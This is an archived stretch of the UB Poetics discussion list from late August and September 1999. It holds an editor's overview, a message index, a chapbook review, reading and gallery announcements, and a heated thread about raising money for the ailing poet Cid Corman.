scanned his postings, but until this past Saturday, had never read his poetry. Saturday, a package of two books from Joshua Beckman’s 811 Books (checks payable to Joshua Beckman/ YWCA/ Writer’s Voice/ 350 North First Avenue/ Phoenix, AZ 85003) arrived in my mailbox between my trips from the Yankees game to the tailor. I read Dale Smith's new book, "Arabia Felix," while walking through my Chelsea apartment’s backyard, past the playground, down the alley, and to the drug store to develop some photographs. I finished the book as I crossed 24th Street on my way by the playground again, and was sad. I never wanted more pages in a poetry chapbook in my life. In "Arabia Felix," Dale Smith delivers. (5x7”, 8-page black ink on ivory paper guts, + cover with black and blue ink and uncredited cover artwork on ivory paper, $3.) He details an Ethiopian trip, captures little pictures and takes apart his own self-importance. Here’s a few lines:

“Some men gather
to ease the body
of a boy from the hood
of a Land Cruiser,
the glass like ice
on his blood.”

And after detailing pieces of his visit, he sums it up with:

“Rats that night
ran under table,
a German tourist told me
‘you have to conquer
each city for yourself.’”

Dale Smith’s "Arabia Felix" is simply the most beautiful combination of words and book design I have seen in a poetry chapbook in a long time.

Be Good,
David A. Kirschenbaum, editor
Booglit

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354. **Jordan Davis**
I used to be the future of America...
Tue 31 Aug 1999

Michael --

Actually, they have quite a bit, for New York -- from Bernstein to Berrigan to Coolidge to Hejinian to Mlinko to Notley -- they're no Bridge Street Books, but they're a sight better than Barnes & Noble --

and then there's always the halfprice stock at The Strand (12th & Bway) --

Jordan

On Mon, 30 Aug 1999, Michael Walsh wrote:

> *Dear Ramez Qureshi,*
>
> *St Marks Books (3rd Ave and 9th St) will usually have Sulfur (and other such periodicals) -- in the back, on the right, across from the remainders. Their poetry books are not so good, but they sometimes have some things, and so might have Swenson.*
>
> *Good luck,*
> *Michael Walsh*

↑ Index

355. Mark Prejsnar
more power to the affluent poets
Tue 31 Aug 1999

Welll. There seem to be lots of folks on the list who are certain just how affluent others are... I do know many people who cannot spare $20 for cid corman, if they are going to have the bills pd and a modicum of groceries. Then there are the many folks who cdn't do it without dropping support they are giving to a poetry publication (which would cause the ceasing of that publication). And as i'm working class and a socialist, there have always been plenty of folks i know who have commited themselves to paying dues or support to a political party or a union...and that again is not something you take on lightly: it involves the ultimate possibility of hope for all of us.

A benefit project sounds nice, and those who are in a position to donate the labor, creativity and capital, should certainly do it.. (but i didn't dis that idea, to begin with, obviously...)

As someone who's lived plenty close to the poverty line over some decades, i find the tone of some of these posts (not having extra money is "carping") a bit peculiar, not to say weird.... Do these folks live in the same universe as me/ (or more to the point, the same social system??)

--Mp

On Mon, 30 Aug 1999, Stephen Ellis wrote:

> *"Really don't got much" means how much, exactly? We're all a bunch of carpers, the whole human race, when it comes to money. That you (we) don't have much goes without saying; on a more positive note, how much, in fact, do you (we all, any of us) actually have? If*
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> *trying to get money from others for projects thought up by others than themselves. Deconstructive resolve only goes so far (one step forward and two steps back forever toward the outstretched hand, it seems); the Virtual Person we all rely on to invisibly come through when the rent's due, when you're the man who owes $532 on his gas bill, when there're no onions in sight, balks immeasurably when faced with the semblance of simple friendship involved in a mutualist ensemble of quantifiable grammar (to be published), because somebody in the end is gonna have to pay, and friendship's s'posed to be free, shit,*
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> *so let's all go home and do our singular art. Alone.*
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fuckin Philly scene. all just regional fuckin mugwumpism. you don't know
community from horseshit so name the social club something else. you're
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well Cid Corman already did. and, by the many accounts given, he is and has
been a generous man, yet the response to his predicament is to look for a
government or semi govt teat for him to suck on. charity begins with the
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barricading yourself in the administration building again, try sending him
money. if, as I say, that's the point of this exercise. $$$Allen Bramhall$$$

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

September 1999

479 messages · Tue 31 Aug 1999 – Thu 30 Sep 1999

September 1999 was, in the world, a month of catastrophes the Poetics list managed almost entirely to miss. Hurricane Floyd drowned the American seaboard and appears here only as a subscriber's surname; the earthquake that killed thousands in Taiwan goes unmentioned; the Giuliani war on the Brooklyn Museum, an arts-censorship fight this list exists to relish, surfaces once, as a forwarded alert that names neither the mayor's target nor the painting. The one catastrophe the room took up was East Timor — and it took it up, one suspects, because the militias' slaughter and its sponsors had already been made, by Chomsky and others, into a question about the misuse of language. Atrocity reached the list when it could be argued as poetics.

And argue it the room did, at a pitch it had not reached in months. Grafted improbably onto a cross-posted joke — a thread titled I can't believe it!!! — the East Timor argument ran some sixty-five messages and was the one sustained act of collective thinking on a list otherwise given over to notices. It was a real quarrel, fairly joined: Michael Neff held that *"the US Govt is far, far more stupid than malevolent"*, Patrick Herron answered that *"It is a calculated psychotic rampage"*, George Bowering corrected the record where it needed correcting. It went on until Taylor Brady called a halt with the truest thing said in it — that *"no one on the list is learning anything new"* — which is to say, until the room had remembered both how to think and how to tire of thinking.

For the rest, the list was what moderation had made it: a noticeboard. Its single most prolific voice all month was not a poet but the moderator's own account, relaying announcements; its busiest individuals, Alan Sondheim and Philip Nikolayev, mostly broadcast their own texts into the feed; and thread after thread was a reading or a magazine or a book, arriving and closing without reply. David Bromige, deadpan, crowned himself California Poet Laureate for want of a real one. The curated calm was pleasant and useful and almost entirely one-directional — a room that had learned to post, and half forgotten how to answer.

What the noticeboard could still do, and did beautifully, was pass a hat. Word came that Cid Corman — poet, editor of Origin, a man who had spent fifty years printing other people from Kyoto — was ill and broke, and the list organised: addresses, bank details, small sums. *"Those who can't, can't, and needn't"*, wrote Karen Kelley, settling the ethics of it in six words. The reconstituted, gatekept

list turned out to be very good at exactly the thing a bulletin is for — getting help quietly to someone who needed it.

Only grief had no place to go. Two deaths reached the list in September, and both came as clippings: the potter and poet M. C. Richards, arriving as a forwarded obituary under Charles Smith's three flat words, *"Sad news again"*; and Angela Bowering, a member's wife, mourned in a single relayed notice with no thread behind it. I have set those forwarded deaths at the end of a month of forwarded everything exactly as September delivered them, because it is the one thing the new list cannot do — a room that can pass a hat for the living has, for the dead, only the forward button, and the strange decorum of grief conducted at one remove.

— Kristen M. Fabians

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443. KENT JOHNSON — Mark Nowak (re: 2 queries)
444. Ron Silliman — Aural Eyes at The Farm
445. Lowther, John — Re: Winners-Deep South Writers Conference Contest
446. Ron Silliman — Jacket #8
447. Ron Silliman — More on Jacket (or maybe less)

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448. Chris Stroffolino — ET AL STROFFOLINAN

449. Jerrold Shiroma — Barry Alpert
450. derek beaulieu — writing canada into the millennium
451. Jeffrey Jullich — CHAIN no. 7 theme?
452. MAYHEW — an informal survey
453. Dirk Rowntree — Mayor against museum
454. Michael W Bibby — Position Announcement
455. Chicago Review — American Poetry at the Millennium Series
456. MAYHEW — aural eyes at the farm
457. KENT JOHNSON — Re: More on Jacket (or maybe less)
458. Daniel Zimmerman — Re: CHAIN no. 7 theme?
459. KENT JOHNSON — (Fwd) Query for Russian anthology
460. raea100900 — Re: address request
461. Joel M Bettridge — Ronald Johnson Conference
462. Bob Grumman — Re: an informal survey
463. A H Bramhall — A Duly Savage Statement
464. Tosh — Re: Mayor against museum

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465. Karen Kelley — Re: Jacket #8 / Perchik-Baratier interview : ~reply
466. Walter K. Lew — re Judith Barry
467. miekal and — cybele introduces jouissance as a formiddable concept (fwd)
468. Alan Sondheim — ~VM1
469. Jeffrey Jullich — Jacket #8 / Perchik-Baratier interview : ~reply
470. david bromige — Ends in N : Sheesh, it was a joke, not a system
471. Robert Archambeau — Fiction/Literature Position
472. Lowther, John — Re: an informal survey (which read how etc)
473. KENT JOHNSON — LaNgpo's chest hair
474. Judy McDonough — mayhew's survey
475. Jamie Perez — Re: Jacket #8 / Perchik-Baratier interview : ~reply
476. Kathy Lou Schultz — Two queries (one Perloff, one Hunt)
477. Nielsen, Aldon — Re: to the Nth degree
478. Nielsen, Aldon — Re: Barry Alpert
479. Richard Dillon — Re: changes to list archive interface

1. Karen Kelley
Re: more power to the affluent poets
Tue 31 Aug 1999

I think perhaps some "attitude" was spawned from the line: "But most *poets* really don't got much...."

I could only assume that the emphasis was on "real" poets. But we have been around this class bush repeatedly, as someone pointed out.

I think Allen Bramhall's post was a call to action, and practical action at that: If there are 700 people on the list & everyone gives $1.00 (minus, perhaps 10 or so people who don't have a dollar to spare), then we have 690 more than Cid started out with. If people who can spare five do, and those who can spare twenty do, etc., well then, that'd be a tidy sum.

And an admirable social project.

Those who can't, can't, and needn't.

Is there an address where we can send a check?

>
> As someone who's lived plenty close to the poverty line over some decades,
> i find the tone of some of these posts (not having extra money is
> "carping") a bit peculiar, not to say weird.... Do these folks live in the
> same universe as me/ (or more to the point, the same social system??)
>
> --Mp
>

↑ Index

2. Kyle Conner
Highwire 9/4
Tue 31 Aug 1999

---

for your listening pleasure...THIS SATURDAY at

HI-G--H--W-I-RE **********

Justin Vitiello
/
Eddie Berrigan

+++++++
these things happen usually every other Saturday
at Highwire Gallery, 139 n. 2nd st., 8PM
this one in particular is Saturday, September 4
you can bring your own beverage if ya like

about them:

Justin Vitiello is professor of Italian at Temple University and is a scholar of immigrant history and accomplished interviewer.

Eddie Berrigan's new book, _DISARMING MATTER_, was just published by Owl Press and sings darkly, murkily.

****
Here are some bites:

from Vitiello's "prologue: migrant gamble
-pro nobis"

our woptrain
ground
seaboard warps, plumbic
beaches
and lupus bluffs

(ho-
stless valleys of
Penn Railroad shadows

skulking scrofulous vacua:

Ball-tee-
more New Ark Providence
Mystic
Full-o'-
delphia

****

UMBRELLAS

Umbrellas are guns in dress. Fold up your umbrella & face up to your death. Surrender your crown & fold it, dirty laundered. Making love to chickenshit authority in one way & using your head to make of it. Falling in love with the magazines. What mistake can we live with now & nothing else shall we fall prey to or pray to

misgivings, shielded by a bubble of slave & wonder
who is who. Who knows a truth seeks themselves
in others & applies it through failures. Umbrellas
are encasements, reverse caskets, eyeballs in
inverted wastepaper baskets.

-Eddie Berrrigan

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3. jocelyn saidenberg
KRUPSKAYA READING: FARMER AND FARRELL
Tue 31 Aug 1999

KRUPSKAYA PRESENTS:

a reading with Steven Farmer and Dan Farrell

Wednesday, September 8, 6-7:30 pm, free
San Francisco Main Libray, Civic Center, 100 Larkin Street

Please join us.

All KRUPSKAYA publications, including Medieval by Steven Farmer and Last Instance by Dan Farrell, will be available at the reading.

_____

Jocelyn Saidenberg

KRUPSKAYA
P.O. Box 420249
San Francisco, CA 94142-0249
[redacted]

↑ Index

4. Stephen Ellis
Re: more power to the affluent poets
Tue 31 Aug 1999

Mark, We DO live on the same planet. Twenty dollars was an arbitrary figure I cldn't (easily) afford either. The point is elsewhere - money is secret. So what gets done with it remains to be judged on the basis of what is produced by the spending of, which seems like a very false sort of objectivity - where did the money come from? Who is the spending of it for - will we be living under a certain kind of roof or umbrella because of it? Or the really Big question, who is money for? If

for all, then how come so many have far less than those who have more? Or did I answer my own question with the word that comes just now to mind, scarcity? The idea that there's only so much of anything, and no more beyond than what can be taken, legally or not, from those who would so easily or unknowingly let it go. Strange,

I agree, valorization running parallel to legal increment so that in some end, nothing will be free. & ONLY nothing.

S E

ps, strange, too, to find this addendum, written to a longer initial response, appearing on the List, while the first pc didn't ... is that censorship or just plain ineffectual smarts before the blinking panel?

> *From: Mark Prejsnar <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: more power to the affluent poets*
> *Date: Tue, 31 Aug 1999 15:20:20 -0400*
>
> *Welll. There seem to be lots of folks on the list who are certain just*
> *how affluent others are... I do know many people who cannot spare $20 for*
> *cid corman, if they are going to have the bills pd and a modicum of*
> *groceries. Then there are the many folks who cdn't do it without dropping*
> *support they are giving to a poetry publication (which would cause the*
> *ceasing of that publication). And as i'm working class and a socialist,*
> *there have always been plenty of folks i know who have commited themselves*
> *to paying dues or support to a political party or a union...and that again*
> *is not something you take on lightly: it involves the ultimate*
> *possibility of hope for all of us.*
>
> *A benefit project sounds nice, and those who are in a position to donate*
> *the labor, creativity and capital, should certainly do it.. (but i didn't*
> *dis that idea, to begin with, obviously...)*
>
> *As someone who's lived plenty close to the poverty line over some decades,*
> *i find the tone of some of these posts (not having extra money is*
> *"carping") a bit peculiar, not to say weird.... Do these folks live in the*
> *same universe as me/ (or more to the point, the same social system??)*
>
> *--Mp*
>
> *On Mon, 30 Aug 1999, Stephen Ellis wrote:*
>
> *"Really don't got much" means how much, exactly? We're all a bunch of*
> *carpers, the whole human race, when it comes to money. That you (we)*
> *don't*
> *have much goes without saying; on a more positive note, how much, in*

fact,
do you (we all, any of us) actually have? If

everyone on the List contributed $20 to Corman or any -thing or -body else,
who - aside from those who would insist FOREVER that "they really cld't afford it" - really CLDN'T afford it? It's weird,

trying to get money from others for projects thought up by others than themselves. Deconstructive resolve only goes so far (one step forward and
two steps back forever toward the outstretched hand, it seems); the Virtual
Person we all rely on to invisibly come through when the rent's due, when
you're the man who owes $532 on his gas bill, when there're no onions in sight, balks immeasurably when faced with the semblance of simple friendship
involved in a mutualist ensemble of quantifiable grammar (to be published),
because somebody in the end is gonna have to pay, and friendship's s'posed
to be free, shit,

so let's all go home and do our singular art. Alone.

S E

From: Mark Prejsnar <[redacted]>
Reply-To: UB Poetics discussion group
<[redacted]>
To: [redacted]
Subject: Re: social conformity vs Cid Corman
Date: Fri, 27 Aug 1999 14:27:51 -0400

This seems a pretty lame response to the Corman thread. Does this poster
have any idea how much extra disposable income the various folks on the thread HAVE? i guess he has plenty, from the assumptions he makes. But
*most *poets* really don't got much....*

On Thu, 26 Aug 1999, A H Bramhall wrote:

Cid Corman needs financial backing so the answer this the poetry

community
reaches is to write letters? well that's a complicated enough
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more
effective? not to fetishize money but the figurative BUCK is being
passed
here when a real one could be passed to someone who needs it. if
that's
the
point here: I'm beginning to wonder. is my logic too deep?
statements
about
community have resounded here recently but that's just yack for the
cheap
seats. community means exclusive neighbourhood, the usual who's
in/who's
out
bullshit power structure. the fuckin Boston scene, the fuckin SF
scene,
the
fuckin Philly scene. all just regional fuckin mugwumpism. you don't
know
community from horseshit so name the social club something else.
you're
waiting for someone important to talk to you, some authority, that's
all.
well Cid Corman already did. and, by the many accounts given, he is
and
has
been a generous man, yet the response to his predicament is to look
for
a
government or semi govt teat for him to suck on. charity begins with
the
government... sounds like those poli sci courses wore off. rather
than
barricading yourself in the administration building again, try
sending
him
money. if, as I say, that's the point of this exercise. $$$Allen
Bramhall$$$

Get Your Private, Free Email at http://www.hotmail.com

Get Your Private, Free Email at http://www.hotmail.com

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5. Tom Beckett

Re: social conformity vs Cid Corman (addendum)

Tue 31 Aug 1999

In a message dated 8/31/99 3:08:30 PM Eastern Daylight Time, [redacted] writes:

<< "Really don't got much" means how much, exactly? We're all a bunch of carpers, the whole human race, when it comes to money. That you (we) don't have much goes without saying; on a more positive note, how much, in fact, do you (we all, any of us) actually have? If

everyone on the List contributed $20 to Corman or any -thing or -body else, who - aside from those who would insist FOREVER that "they really cld't afford it" - really CLDN'T afford it? It's weird,
>>

Mr. Ellis's two recent posts (re: ponying up for what one ostensibly "believes" in), along with Mr. Bramhall's Ur post, are the most socially pertinent texts I've seen displayed here in the last six months.

Tom Beckett

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6. Philip Nikolayev

St. Petersburg Literary Seminars (summer)

Tue 31 Aug 1999

I will be teaching at the next St. Peterburg Summer Literary Seminars (for English speakers/writers). The program is affiliated with the University of Cincinnati (USA) and Herzen University (Russia).

Program seminars include:

Fiction 1 & 2
Non-Fiction
Poetry
Playwriting/Screenwriting
International Dramaturgy
Literary and Philisophical Discourse in St. Petersburg
Untranslatable Russia

More info at http://www.sumlitsem.com/ -- please take a look if interested.

Philip Nikolayev
[redacted]

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7. pete spence
Re: more power to the affluent poets
Tue 31 Aug 1999

>Welll. There seem to be lots of folks on the list who are certain just
>how affluent others are... I do know many people who cannot spare $20 for
>cid corman, if they are going to have the bills pd and a modicum of
>groceries. Then there are the many folks who cdn't do it without dropping
>support they are giving to a poetry publication (which would cause the
>ceasing of that publication>--Mp
>
,,i agree with the above, but at least if one "gave" in this cause it
wouldn't be to get through the eye of the needle, maybe some situation can
be put in place where writers who suddenly are found to be in real need
could be helped in some way, i dunno,, but as someone who even when
budgeting finds two or three days in any week when the house keys is all
thats rattling in my pocket i can understand //pete spence

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

8. lee ann brown
Some Readings (Lee Ann Brown +)
Wed 1 Sep 1999

Lee Ann Brown
Reading and singing her summer poems

Wednesday September 1st

6pm-6:30 (Dance troupe earlier)
Union Square (outside in park) NYC

Barnes & Noble Summer-in-the-Square
info: [redacted]

bring your picnic

++++++++++++++++++++++++++++++++++++

Richmond VA
Saturday Sept 4th at night

821 Bakery Cafe
Coby Batty - poem/ musics (Coby & Watty)
+
Lee Ann Brown - poems & songs

++++++++++++++++++++++++++++++++++++

Sunday afternoon
September 12 TRIBES GALLERY 3pm on

285 East 3rd Street
BOOK PARTY & READING
by LEE ANN BROWN, MERVYN TAYLOR & MARTIN ESPADA
info: [redacted] Steve Cannon

++++++++++++++++++++++++++++++++++++

Mark your calendars:

Eleni Sikelianos & Lee Ann Brown
Women Poets at BARNARD

Thursday Oct 7th 8pm
Sulzberger Parlor, Barnard Hall
Barnard College, NYC
(W.116th Street & BW)

Thanks!

↑ Index

9. Douglas
Re: NYC Bookstores
Wed 1 Sep 1999

St. Marks buys copies of all Sun & Moon and
Green Integer titles. However, they only purchase
1 or 2 copies, and these, of course, are immediately
sold. Consequently, it probably is almost impossible
to find our poetry there. If only they could be encouraged
to immediately reorder. I think it's important that customers
speak to the buyers and request a reorder. That is the only
way bookstores will change their patterns.

Douglas Messerli

Michael Walsh wrote:
>
> Dear Ramez Qureshi,

>
> St Marks Books (3rd Ave and 9th St) will usually have
> Sulfur (and other such periodicals) -- in the back, on
> the right, across from the remainders. Their poetry books
> are not so good, but they sometimes have some things,
> and so might have Swenson.
>
> Good luck,
> Michael Walsh

↑ Index

10. **nuyopoman**
Carnivocal
Wed 1 Sep 1999

On my fourth attempt at scoring CARNIVOCAL via General Distribution I was informed that the CD will not be available till sometime in 2000. Could someone backchannel me with info?

Bob Holman
[redacted]

↑ Index

11. **Stephen Ellis**
Re: Booglit Reviews: Dale Smith Delivers
Wed 1 Sep 1999

David, A minor correction: Dale Smith's "Arabia Felix" (a terrific short read, I agree) doesn't detail a trip through Ethiopia, as his mention of "Mike's Ethiopian cafe" might suggest. Rather, the mention of "al-Tihama" and "Shara Sana'a" (Sana'a Street) indicate the trip is through Yemen, Sana'a being its capital, & the Tihama, a range of mountains there. Also, chewing "qat" - a leaf that gives a mild sensation of relaxation & heightened awareness - is something of a national pasttime in Yemen, complete with late-morning last-minute bargaining at open markets for a big bunch of the stuff at a good price, to provide a decent means for passing the afternoon and evening. Ie., the good life. Dale in fact shld send a few copies to Mike's Ethiopian Cafe, just so they'll know that he noticed them there while THERE, as well as there later, from here. Best, Stephen Ellis

> *From: David Kirschenbaum <[redacted]>*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *To: [redacted]*
> *Subject: Booglit Reviews: Dale Smith Delivers*

Date: Tue, 31 Aug 1999 12:44:55 EDT

Dale Smith Delivers

Dale Smith is one of the best editors I know. His work as a coeditor, first with Mike & Dale's Younger Poets, and now, with Skanky Possum, always gives me all the people whose words I want in my bookcase in one compact litzine. I've scanned his postings, but until this past Saturday, had never read his poetry.
Saturday, a package of two books from Joshua Beckman's 811 Books (checks payable to Joshua Beckman/ YWCA/ Writer's Voice/ 350 North First Avenue/ Phoenix, AZ 85003) arrived in my mailbox between my trips from the Yankees game to the tailor.
I read Dale Smith's new book, "Arabia Felix," while walking through my Chelsea apartment's backyard, past the playground, down the alley, and to the drug store to develop some photographs. I finished the book as I crossed
24th Street on my way by the playground again, and was sad. I never wanted more pages in a poetry chapbook in my life. In "Arabia Felix," Dale Smith delivers. (5x7", 8-page black ink on ivory paper guts, + cover with black and blue ink and uncredited cover artwork on ivory paper, $3.)
He details an Ethiopian trip, captures little pictures and takes apart his own self-importance.
Here's a few lines:

"Some men gather
to ease the body
of a boy from the hood
of a Land Cruiser,
the glass like ice
on his blood."

And after detailing pieces of his visit, he sums it up with:

"Rats that night
ran under table,
a German tourist told me
'you have to conquer
each city for yourself.'"

Dale Smith's "Arabia Felix" is simply the most beautiful combination of words and book design I have seen in a poetry chapbook in a long time.

Be Good,
David A. Kirschenbaum, editor
Booglit

> _____
> *Get Your Private, Free Email at http://www.hotmail.com*

_____
Get Your Private, Free Email at http://www.hotmail.com

↑ Index

12. Kimmelman, Burt
Cid Corman (new details)
Wed 1 Sep 1999

Here is the latest news, from John Phillips for anyone wishing to help Cid if possible:

Dear Burt

I said I'd get in touch soon as I had more information on how to send Cid some help. Have been hoping a collection point in the US would be set up, but no go as yet. And since I had word from Cid today saying if anyone wishes to help they shouldn't wait, that things are bad - now - here goes.

As said, a cheque isn't that good for anything under $500 (due to $35 charged for cashing). The best method is to transfer cash (yen if possible) direct to his bank. (You have the address / details. [i.e., from a previous message: banking details, which he tells me is good for "dollar, yen, or check transfers": Cid Corman c/o Kyoto Shinyo Kinko Bank, Omuro Branch, Omuro Ukyo-ku, Kyoto [redacted] Japan; account number: 095-0010328; bank tel: [redacted].])

For smaller amounts sending cash in perhaps a registered envelope / hidden by carbon paper + Cid's details should do it.

So, if you pass word around to anyone, that's what's to be passed.

Hope you're well
John

↑ Index

13. Poetics List Administration
Japanese borrowings / Tony Green
Wed 1 Sep 1999

had to reformat this message. Chris

--

From: "Tony Green" <[redacted]>
Date: Wed, 1 Sep 1999 08:40:36 +1200

Thinking of Japanese Surrealism:

is there really something
~essentially~ Japanese about
cultural borrowing on large-scale
not having much sense of
the ~original intentions~ of
what is borrowed.

I cannot presently think of any such
anywhere. Put it down to
usual process of
translation or appropriation.

--- in the land of incessant
cultural borrowings

Tony Green

↑ Index

14. Grant Jenkins
Re: Cid Corman's address
Wed 1 Sep 1999

Burt,

John in his latest letter says that we have Corman's address, but I can't find it in the archive. For everyone's benefit, would you please repost that information?

Thanks

> *As said, a cheque isn't that good for anything under $500 (due to $35 charged for cashing). The best method is to transfer cash (yen if possible) direct to his bank. (You have the address / details. [i.e., from a previous message: banking details, which he tells me is good for "dollar, yen, or check transfers": Cid Corman c/o Kyoto Shinyo Kinko Bank, Omuro Branch, Omuro Ukyo-ku, Kyoto [redacted] Japan; account number: 095-0010328; bank tel: [redacted].])*
>
> *For smaller amounts sending cash in perhaps a registered envelope / hidden by carbon paper + Cid's details should do it.*

↑ Index

15. Mark Prejsnar
poetry, politix and the non-secret of money
Wed 1 Sep 1999

I had resoved not to get any more entangled in this.... (i have back-channeled several folks for that reason.) Better to talk more directly about poetry and

poetix (i have more than once in the past 3 years been cited by others for dragging the list pretty far into social and political issues...for all that many listians agree that these things are not totally separable from poetix..)

But this is so pointedly addressed to me, maybe i should respond..

Five dollars, or 20 dollars, from everyone on the List, would be a stopgap for most families i know who are struggling with very tough economic circumstances.

If we lived in a different kind of society, cid corman and family (and various acquaintances of mine, and plenty of folks i don't personally know) would not be in the specific conditions they are in.

If i understand the post quoted below, (i'm not sure i do) i can certainly offer a *public* suggestion of political and social formations that could use 5 or 20 dollars from each of us. By opposing capitalism, or at least its worst excesses, they are trying to alter the circumstances we have been talking about. (..main problem with these groups is, they are too eager to integrate themselves into "respectable" society, and often are not opposed to capitalist society as such..reformism always finds its way into a cul-de-sac; but we have to work with what we have)

Giving money to specific individuals who need it is a good thing and i don't oppose it..If you can afford it, as many can't, by all means i encourage list members to do it. But if we are talking about being non-secret about money....i believe people's money is more generative if used to further political struggle.

--Mp

On Tue, 31 Aug 1999, Stephen Ellis
wrote:

> *Mark,*
> *We DO live on the same planet. Twenty dollars was an arbitrary figure I cldn't (easily) afford either. The point is elsewhere - money is secret. So what gets done with it remains to be judged on the basis of what is produced by the spending of, which seems like a very false sort of objectivity - where did the money come from? Who is the spending of it for - will we be living under a certain kind of roof or umbrella because of it? Or the really Big question, who is money for? If*
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Reply-To: UB Poetics discussion group <[redacted]>
To: [redacted]
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A benefit project sounds nice, and those who are in a position to donate the labor, creativity and capital, should certainly do it.. (but i didn't dis that idea, to begin with, obviously...)

As someone who's lived plenty close to the poverty line over some decades, i find the tone of some of these posts (not having extra money is "carping") a bit peculiar, not to say weird.... Do these folks live in the same universe as me/ (or more to the point, the same social system??)

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so let's all go home and do our singular art. Alone.

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the
point here: I'm beginning to wonder. is my logic too deep? statements
about
community have resounded here recently but that's just yack for the cheap
seats. community means exclusive neighbourhood, the usual who's in/who's
out
bullshit power structure. the fuckin Boston scene, the fuckin SF scene,
the
fuckin Philly scene. all just regional fuckin mugwumpism. you don't know
community from horseshit so name the social club something else. you're
waiting for someone important to talk to you, some authority, that's all.
well Cid Corman already did. and, by the many accounts given, he is and
has
been a generous man, yet the response to his predicament is to look for
a
government or semi govt teat for him to suck on. charity begins with the
government... sounds like those poli sci courses wore off. rather than
barricading yourself in the administration building again, try sending
him
money. if, as I say, that's the point of this exercise. $$$Allen Bramhall$$$

Get Your Private, Free Email at http://www.hotmail.com

Get Your Private, Free Email at http://www.hotmail.com

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16. Alan Sondheim

Press Release: Alan Sondheim - New trAce Virtual Writer-in-Residence (fwd)

Wed 1 Sep 1999

ALAN SONDHEIM
http://trace.ntu.ac.uk/writers/sondheim/

Brooklyn-based cyber-theorist Alan Sondheim is the latest writer to join the growing band at the trAce Online Writing Community
http://trace.ntu.ac.uk

He is taking up the virtual baton from trAce's first Virtual Writer-in-Residence Christy Sheffield Sanford, and will be available on the site until March 2000.

Sondheim is a poet, critic, and theorist who writes on and about the Internet. His books include Disorders of the Real, and the anthology Being on Line, and during his time with trAce he will be working on a series of collaborative pieces including 'Love and War and Jennifer' as well as running a group of other online projects and conferences on topics like programming code, avatars, cyborgs and experimental writing.

In 'Love and War and Jennifer' he urges writers to get involved. "Add your own segments to the story backbone, or add your own webpages on the theme. I imagine a huge accumulation of texts grounding this millennium in the next, working and reading and creating new experiences on the way."

Alan is enthusiastic about his new post with trAce. He says "I'm extremely excited to work in an environment that is in the forefront of online culture. The opportunity to work with writers and artists engaged in cultural activity around the world is incredible and amazing to me."

Director of trAce, novelist Sue Thomas, is delighted that Alan will be working on the site. "Alan Sondheim lives at the sharp edge of cyberculture today. He digs deep into the net and is never afraid to confront some of the most profound psychological challenges the web can sum up. I'm sure trAce writers will find it fascinating to join him in his explorations."

BACKGROUND In 1997 trAce received an Arts Council of England 'Arts for Everyone' Award of £365,000 to establish this online community for writers and readers in real and virtual space, and since then the organisation has attracted attention from around the world. Its most successful ventures to date include:

Community:
- WebBoard email conference open 24 hours a day
http://hum-webboard.ntu.ac.uk/~trace
- weekly online meetings at 21:00 hrs Sydney and again at 21:00 hrs London

every Sunday
http://trace.ntu.ac.uk/online/moo.htm
- Incubation International Conference on Writing and the Net 10-12 July 2000
http://trace.ntu.ac.uk/incubation/

Writing Projects:
- "My Millennium" curated by Virtual Writer-in-Residence Christy Sheffield Sanford http://trace.ntu.ac.uk/writers/sanford/my_millennium/presents.html
- Bernard Cohen, Writer-in-Residence
http://trace.ntu.ac.uk/writers/cohen/front.htm
- Writers' Online Journals
http://trace.ntu.ac.uk/journals.htm
- frAme Journal of Culture and Technology http://trace.ntu.ac.uk/frame/
- trAced Resources for Writers http://trace.ntu.ac.uk/traced/traced.htm
- the Noon Quilt http://trace.ntu.ac.uk/quilt/index.html
- the Eclipse Quilt http://trace.ntu.ac.uk/quilt/eclipse/scripts/eqQuilt_test.pl
- Kids on the Net, the junior section of trAce
http://trace.ntu.ac.uk/kotn/gokids.htm

NOTE FOR EDITORS
Alan Sondheim is available for interview.
He can be contacted at: 00[redacted] (New York) [redacted]

Sue Thomas, Director of trAce, is available for interview.
She can be contacted at: [redacted] (UK) [redacted]

The trAce Online Writing Community
Nottingham Trent University
Clifton Lane
Nottingham NG11 8NS
ENGLAND
Tel: +[redacted] (direct line)
Fax: +[redacted]
http://trace.ntu.ac.uk
[redacted]

↑ Index

17. David Highsmith

Philip Whalen

Wed 1 Sep 1999

Just opened the San Francisco Observer, September issue, and am disturbed to see (within an article on financial troubles at Mount Zion Hospital) an

emergency room photograph of Philip Whalen on a gurney. Does anybody know how he's doing?

↑ Index

18. Dodie Bellamy

Re: more power to the affluent poets

Wed 1 Sep 1999

At 2:46 PM -0700 8/31/99, Stephen Ellis wrote:
>
>We DO live on the same planet. Twenty dollars was an arbitrary figure I
>cldn't (easily) afford either. The point is elsewhere - money is secret.

Actually, what you're voicing is a middle class value. Working class people (at least the ones I was raised around) are very open about money, how much they make, how much they spend for things. Often they speak about these things with great vigor. *Not* to ask about money (or to talk about my own money situation) was something I learned when I got involved in the San Francisco poetry scene. It's still hard, like not announcing to everybody how much my shoes cost.

Dodie

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19. Lance Fung Gallery, 537 Bway, NYC

September Solo Exhibitions

Wed 1 Sep 1999

FOR IMMEDIATE RELEASE CONTACT LANCE FUNG
[redacted] September 1999

J O S H U A S E L M A N

"Off The Grid"

S o l o E x h i b i t i o n

9 September - 2 October at Lance Fung Gallery, 537 Broadway, NYC

RECEPTION THURSDAY SEPTEMBER 9, 6-8

Gallery hours: Tuesday - Saturday, 11 - 6

Off The Grid, a multi-media, action and process based exhibition by Joshua Selman opens September 9th at Lance Fung Gallery. Mr. Selman has shown repeatedly with Lance Fung Gallery since its opening year. Off The Grid includes a sonic event made from mutilated electric guitars and other live, sound emitting devices planted in soil, salt, ice, wood or other naturally occurring

substances. The amplified planting is performed at the opening reception and sends off a beautiful sound event capturing such sonic details as friction between organic materials and disturbances between electronic objects planted within them.

Set off from the planting, a floor installation of a twenty foot triangular lattice made from cut pine trees is up-ended over soil, minerals and other natural deposits. Along a tradition first associated with artists like Smithson or Long, the artist has collected the cuttings at a chosen site and recontexted them in the gallery. The triangular pine structure combines with a two hundred square foot wall installation showing hundreds of color prints made with samples of rotting wood from infested trees, lichen feeding on living evergreens, bark dust, tree roots, moss and other by-products of a decaying forest put directly on the glass bed of a computer scanner for output. As duo-tones, the prints unify in rough color bands: brown-green-red-yellow and blue. The loosely arranged color bands unite as a singular horizon view.

